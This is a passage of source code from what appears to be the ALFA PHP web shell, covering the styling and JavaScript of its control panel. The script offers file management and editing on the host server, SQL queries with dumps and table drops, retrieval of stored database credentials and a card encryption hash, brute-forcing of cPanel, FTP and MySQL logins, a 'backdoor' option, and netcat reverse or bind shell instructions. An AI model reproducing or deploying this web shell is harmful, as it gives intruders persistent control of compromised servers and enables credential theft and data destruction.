strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#801818;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #801818;background:transparent;box-shadow:0 0 4px #801818;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#5550 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#801818;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#801818;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#801818;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#801818}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #801818;background:transparent;box-shadow:0 0 4px #801818;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #801818;background:transparent;box-shadow:0 0 4px #801818;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #801818;background:#000;text-decoration:none;box-shadow:0 0 4px #801818;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
  1272. .foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'
  1273. .main th{text-align:left;}
  1274. .main a{color: #FFF;}
  1275. .main tr:hover{background-color:#646464;}
  1276. .ml1{ border:1px solid #801818;padding:5px;margin:0;overflow: auto; }
  1277. .bigarea{ width:99%; height:300px; }
  1278. '.alfaCssLoadColors().'
  1279. </style>';
  1280. echo "<script type='text/javascript'>
  1281. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  1282. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  1283. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  1284. var alfa1_ = '" . ((strpos(@$_POST['alfa1'],"\n")!==false)?'':htmlspecialchars($_POST['alfa1'],ENT_QUOTES)) ."';
  1285. var alfa2_ = '" . ((strpos(@$_POST['alfa2'],"\n")!==false)?'':htmlspecialchars($_POST['alfa2'],ENT_QUOTES)) ."';
  1286. var alfa3_ = '" . ((strpos(@$_POST['alfa3'],"\n")!==false)?'':htmlspecialchars($_POST['alfa3'],ENT_QUOTES)) ."';
  1287. var alfa4_ = '" . ((strpos(@$_POST['alfa4'],"\n")!==false)?'':htmlspecialchars($_POST['alfa4'],ENT_QUOTES)) ."';
  1288. var alfa5_ = '" . ((strpos(@$_POST['alfa5'],"\n")!==false)?'':htmlspecialchars($_POST['alfa5'],ENT_QUOTES)) ."';
  1289. var alfa6_ = '" . ((strpos(@$_POST['alfa6'],"\n")!==false)?'':htmlspecialchars($_POST['alfa6'],ENT_QUOTES)) ."';
  1290. var alfa7_ = '" . ((strpos(@$_POST['alfa7'],"\n")!==false)?'':htmlspecialchars($_POST['alfa7'],ENT_QUOTES)) ."';
  1291. var alfa8_ = '" . ((strpos(@$_POST['alfa8'],"\n")!==false)?'':htmlspecialchars($_POST['alfa8'],ENT_QUOTES)) ."';
  1292. var alfa9_ = '" . ((strpos(@$_POST['alfa9'],"\n")!==false)?'':htmlspecialchars($_POST['alfa9'],ENT_QUOTES)) ."';
  1293. var alfa10_ = '" . ((strpos(@$_POST['alfa10'],"\n")!==false)?'':htmlspecialchars($_POST['alfa10'],ENT_QUOTES)) ."';
  1294. var d = document;
  1295. var mysql_cache = {};
  1296. var editor_files = {};
  1297. var editor_error = true;
  1298. var editor_current_file = '';
  1299. var is_minimized = false;
  1300. var cgi_is_minimized = false;
  1301. var cgi_lang = '';
  1302. var upcount = 1;
  1303. var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
  1304. var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";
  1305. function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
  1306. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  1307. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;";
  1308. for($j=1;$j<=10;$j++){
  1309. echo 'if(alfa'.$j.'!=null)d.mf.alfa'.$j.'.value=alfa'.$j.';else d.mf.alfa'.$j.'.value=alfa'.$j.'_;';
  1310. }
  1311. echo "
  1312. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  1313. }";
  1314. echo 'function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\"header_pwd\" onclick=\"g(\'FilesMan\',\'/\');\" href=\'javascript:void(0);\'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\"g(\'FilesMan\',\'"+g+e[i]+"/\');\" href=\'javascript:void(0);\' class=\"header_pwd\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML=\'<center><br /><img id="alfaloader" src="'.__showicon('loader').'"></img><br /><br /></center>\'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML=\'<label class="inputfile" for="\'+a+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+a+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');">\',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}
  1315. function saveByKey(event){
  1316. if(!(String.fromCharCode(event.which).toLowerCase() == \'s\' && event.ctrlKey) && !(event.which == 19))return true;
  1317. $("editor_edit_area").onsubmit();
  1318. event.preventDefault();
  1319. return false;
  1320. }
  1321. function setCookie(cname, cvalue, exdays){
  1322. var d = new Date();
  1323. d.setTime(d.getTime() + (exdays*24*60*60*1000));
  1324. var expires = "expires="+ d.toUTCString();
  1325. document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
  1326. }
  1327. function getCookie(name){
  1328. var value = "; " + document.cookie;
  1329. var parts = value.split("; " + name + "=");
  1330. if (parts.length == 2) return parts.pop().split(";").shift();
  1331. }
  1332. function editorClose(pos){
  1333. d.body.style.overflow = "visible";
  1334. elem = $(pos);
  1335. elem.setAttribute("class", "editor-anim-close");
  1336. if(pos == "editor"){
  1337. is_minimized = false;
  1338. }else{
  1339. cgi_is_minimized = false;
  1340. }
  1341. setTimeout(function(){
  1342. elem.removeAttribute("class");
  1343. elem.style.display = "none";
  1344. }, 1000);
  1345. d.body.style.overflow = "visible";
  1346. }
  1347. function showEditor(pos){
  1348. $(pos).setAttribute("class", "editor-anim-show");
  1349. $(pos+"-minimized").setAttribute("class", "minimized-hide");
  1350. if(pos == "editor"){
  1351. is_minimized = false;
  1352. if(cgi_is_minimized){
  1353. $("cgiloader-minimized").style.top = "30%";
  1354. }
  1355. }else{
  1356. cgi_is_minimized = false;
  1357. if(is_minimized){
  1358. $("editor-minimized").style.top = "30%";
  1359. }
  1360. }
  1361. d.body.style.overflow = "hidden";
  1362. }
  1363. function editorMinimize(pos){
  1364. $(pos).setAttribute("class", "editor-anim-minimize");
  1365. $(pos+"-minimized").setAttribute("class", "minimized-show");
  1366. if(pos == "editor"){
  1367. is_minimized = true;
  1368. if(cgi_is_minimized){
  1369. $("cgiloader-minimized").style.top = "20%";
  1370. $("editor-minimized").style.top = "50%";
  1371. }else{
  1372. $("editor-minimized").style.top = "30%";
  1373. }
  1374. }else{
  1375. cgi_is_minimized = true;
  1376. if(is_minimized){
  1377. $("cgiloader-minimized").style.top = "20%";
  1378. $("editor-minimized").style.top = "50%";
  1379. }else{
  1380. $("cgiloader-minimized").style.top = "30%";
  1381. }
  1382. }
  1383. d.body.style.overflow = "visible";
  1384. }
  1385. function clearEditorHistory(){
  1386. var check = confirm("Are u Sure?");
  1387. if(check){
  1388. for(var i in editor_files){
  1389. if(i != editor_current_file){
  1390. removeHistory(i);
  1391. }
  1392. }
  1393. }
  1394. }
  1395. function editor(file, mode, arg, pwd, file_id, type){
  1396. if(type=="dir"&&file=="..")return false;
  1397. if(mode == "download"){
  1398. g("FilesTools",pwd,file,"download");
  1399. return false;
  1400. }
  1401. var param = "", fid = "", pure_fid = "", cwd = d.mf.c.value, can_append = true;
  1402. file = file.trim();
  1403. if(Object.keys(editor_files).length == 0){
  1404. var cookie_file = getCookie("alfa_history_files");
  1405. try{
  1406. editor_files = JSON.parse(cookie_file);
  1407. for(var t in editor_files){
  1408. insertToHistory(t, editor_files[t].file, 0, editor_files[t].type);
  1409. }
  1410. }catch(e){}
  1411. }
  1412. if(file.indexOf("/") != -1){
  1413. var file_split = file.split("/");
  1414. file = file_split[file_split.length - 1];
  1415. delete file_split[file_split.length - 1];
  1416. cwd = file_split.join("/");
  1417. if(islinux){
  1418. cwd = "/"+cwd;
  1419. }
  1420. }
  1421. if(typeof type == "undefined"){
  1422. type = "";
  1423. }
  1424. if(typeof pwd != "undefined" && pwd != null && pwd.length != 0){
  1425. cwd = pwd.trim();
  1426. }
  1427. try{
  1428. for(var i in editor_files){
  1429. if(editor_files[i].file == decodeURIComponent(file) && editor_files[i].pwd.replace(/\//g,"") == cwd.replace(/\//g,"")){
  1430. can_append = false;
  1431. file_id = i;
  1432. break;
  1433. }
  1434. }
  1435. }catch(e){
  1436. console.log(e);
  1437. }
  1438. editor_error = true;
  1439. if(typeof arg != "undefined" && arg.length != 0 && arg != null){
  1440. param = alfab64(arg);
  1441. }
  1442. if(typeof file_id != "undefined" && file_id != null && file_id.length != 0){
  1443. fid = alfab64(file_id);
  1444. pure_fid = file_id;
  1445. }else{
  1446. var rand_fid = "file_" + getRandom(10);
  1447. fid = alfab64(rand_fid);
  1448. pure_fid = rand_fid;
  1449. }
  1450. alfaloader("block");
  1451. _Ajax(d.URL, "a="+alfab64("FilesTools")+"&c="+alfab64(cwd)+"&alfa1="+alfab64(file)+"&alfa2="+alfab64(mode)+"&alfa3="+param+"&alfa4="+fid+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"), function(e){
  1452. document.querySelector(".editor-content").innerHTML = e;
  1453. $("editor").style.display = "block";
  1454. alfaloader("none");
  1455. evalJS(e);
  1456. if(mode != "delete" && editor_error){
  1457. var active = d.getElementsByClassName("is_active");
  1458. if(active.length != 0){
  1459. active[0].className = "file-holder";
  1460. }
  1461. fid = pure_fid;
  1462. file = decodeURIComponent(file);
  1464. if(!editor_files[fid] && can_append){
  1465. editor_files[fid] = {"file": file, "pwd": cwd, "type": type};
  1466. insertToHistory(fid, file, " is_active", type);
  1467. if(mode=="mkfile"){
  1468. g("FilesMan",null);
  1469. }
  1470. }else{
  1471. $(fid).parentNode.className += " is_active";
  1472. }
  1473. }
  1474. d.body.style.overflow = "hidden";
  1475. d.getElementsByClassName("filestools")[0].setAttribute("fid", fid);
  1476. if(editor_files[fid]){
  1477. d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
  1478. }
  1479. editor_current_file = fid;
  1480. if(is_minimized){
  1481. showEditor("editor");
  1482. }
  1483. updateCookieEditor();
  1484. });
  1485. return false;
  1486. }
  1487. function insertToHistory(fid, file, mode, type){
  1488. var active = "";
  1489. if(mode && mode != 0){
  1490. active = mode;
  1491. }
  1492. var NewElement = document.createElement("div");
  1493. NewElement.innerHTML = "<div id=\'"+fid+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(file,type,fid)+"</div><div class=\'editor-file-name\'>"+file+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\""+fid+"\");\'>X</div>";
  1494. NewElement.className = "file-holder" + active;
  1495. NewElement.addEventListener("mouseover", function(){setEditorTitle(fid,"over");this.childNodes[1].style.opacity = "1";});
  1496. NewElement.addEventListener("mouseout", function(){setEditorTitle(fid,"out");this.childNodes[1].style.opacity = "0";});
  1497. var refNode = d.getElementsByClassName("history-list")[0];
  1498. refNode.insertBefore(NewElement, refNode.firstChild);
  1499. }
  1500. function loadType(file,type,id){
  1501. if(type == "none"){
  1502. _Ajax(d.URL, "a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[id].pwd)+"&arg="+alfab64(editor_files[id].file), function(e){
  1503. $(id).innerHTML = "<div class=\'editor-icon\'>"+loadType(editor_files[id].file,e,id)+"</div><div class=\'editor-file-name\'>"+editor_files[id].file+"</div>";
  1504. editor_files[id].type = e;
  1505. });
  1506. }
  1507. var img = \'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\';
  1508. if(type == "file"){
  1509. type = file.split(".");
  1510. type = type[type.length - 1].toLowerCase();
  1511. var types = ["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"];
  1512. if(types.indexOf(type) == -1){
  1513. type = "notfound";
  1514. }
  1515. }else{
  1516. type = "folder";
  1517. }
  1518. return img.replace("{type}", type + ".png");
  1519. }
  1520. function updateDirsEditor(fid, fname){
  1521. var current_path = d.mf.c.value + "/";
  1522. var oldpath = editor_files[fid].pwd + "/" + fname + "/";
  1523. var newpath = editor_files[fid].pwd + "/" + editor_files[fid].file + "/";
  1524. oldpath = oldpath.replace(/\/\//g, "/");
  1525. newpath = newpath.replace(/\/\//g, "/");
  1526. current_path = current_path.replace(/\/\//g, "/");
  1527. if(current_path.search(oldpath) != -1){
  1528. initDir(current_path.replace(oldpath, newpath));
  1529. d.mf.c.value = current_path.replace(oldpath, newpath);
  1530. _Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)});
  1531. }
  1532. for(var i in editor_files){
  1533. var path = editor_files[i].pwd + "/";
  1534. path = path.replace(/\/\//g, "/");
  1535. if(path.search(oldpath) != -1){
  1536. editor_files[i].pwd = path.replace(oldpath, newpath);
  1537. }
  1538. }
  1539. var reg1 = new RegExp("\'"+oldpath.slice(0, -1)+"\'");
  1540. var reg2 = new RegExp(fname + " \\\|</b></a>");
  1541. d.files.innerHTML = d.files.innerHTML.replace(reg1, "\'"+newpath.slice(0, -1)+"\'");
  1542. d.files.innerHTML = d.files.innerHTML.replace(reg2, editor_files[fid].file+" |</b></a>");
  1543. updateCookieEditor();
  1544. }
  1545. function updateCookieEditor(){
  1546. setCookie("alfa_history_files", JSON.stringify(editor_files), 2012);
  1547. }
  1548. function setEditorTitle(fid, mode){
  1549. if(mode == "out" && editor_current_file != ""){
  1550. fid = editor_current_file;
  1551. }
  1552. if(editor_files[fid]){
  1553. d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
  1554. }
  1555. }
  1556. function removeHistory(el){
  1557. delete editor_files[el];
  1558. if($(el)){
  1559. $(el).parentNode.parentNode.removeChild($(el).parentNode);
  1560. }
  1561. var elm = d.getElementsByClassName("filestools")[0];
  1562. if(elm){
  1563. if(elm.getAttribute("fid") == el){
  1564. elm.outerHTML = "";
  1565. }
  1566. }
  1567. if(editor_current_file == el){
  1568. editor_current_file = "";
  1569. }
  1570. updateCookieEditor();
  1571. }
  1572. function getRandom(e){
  1573. for(var i = "undefined" == typeof e ? 20 : e, t = "", s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", n = i; n > 0; --n) t += s[Math.floor(Math.random() * s.length)];
  1574. return t
  1575. }
  1576. function reopen(el){
  1577. var file_id = el.getAttribute("id")
  1578. var pwd = editor_files[file_id].pwd;
  1579. var filename = editor_files[file_id].file;
  1580. editor(filename, "auto", "", pwd, file_id);
  1581. }
  1582. function copyToClipboard(el){
  1583. var node = document.getElementById(el);
  1584. if(document.selection){
  1585. var range = document.body.createTextRange();
  1586. range.moveToElementText(document.getElementById(el));
  1587. range.select();
  1588. document.execCommand("Copy");
  1589. alert("text copied");
  1590. }else if (window.getSelection()){
  1591. var range = document.createRange();
  1592. range.selectNode(document.getElementById(el));
  1593. window.getSelection().removeAllRanges();
  1594. window.getSelection().addRange(range);
  1595. document.execCommand("copy");
  1596. alert("text copied");
  1597. }
  1598. }
  1599. function encrypt(str, pwd) {
  1600. if (pwd == null || pwd.length <= 0) {
  1601. return null;
  1602. }
  1603. str = alfab64(str, true);
  1604. pwd = alfab64(pwd, true);
  1605. var enc_chr = "";
  1606. var enc_str = "";
  1607. var i = 0;
  1608. while (i < str.length) {
  1609. for (var j = 0; j < pwd.length; j++) {
  1610. enc_chr = str.charCodeAt(i) ^ pwd.charCodeAt(j);
  1611. enc_str += String.fromCharCode(enc_chr);
  1612. i++;
  1613. if (i >= str.length) break;
  1614. }
  1615. }
  1616. return alfab64(enc_str, true);
  1617. }
  1618. function reloadSetting(e){
  1619. alfaloader("block");
  1620. _Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},true);
  1621. if(e.e.value==0&&e.protect.value==1)setTimeout("location.reload()",1000);
  1622. if(e.s.value!=e.icon.value)setTimeout("location.reload()",1000);
  1623. return false
  1624. }
  1625. function reloadColors(config){
  1626. var obj = {};
  1627. if(typeof config == "undefined"){
  1628. d.querySelectorAll(".colors_input").forEach(function(e){
  1629. var id = e.getAttribute("target").replace(".", "");
  1630. obj[id] = e.value;
  1631. });
  1632. }else{
  1633. obj = config;
  1634. }
  1635. alfaloader("block");
  1636. var checdk = ($("use_default_color").checked?"1":"0");
  1637. _Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(obj))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(checdk)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){alfaloader("none");evalJS(e);},true);
  1638. }
  1639. function alfab64(a, normal){
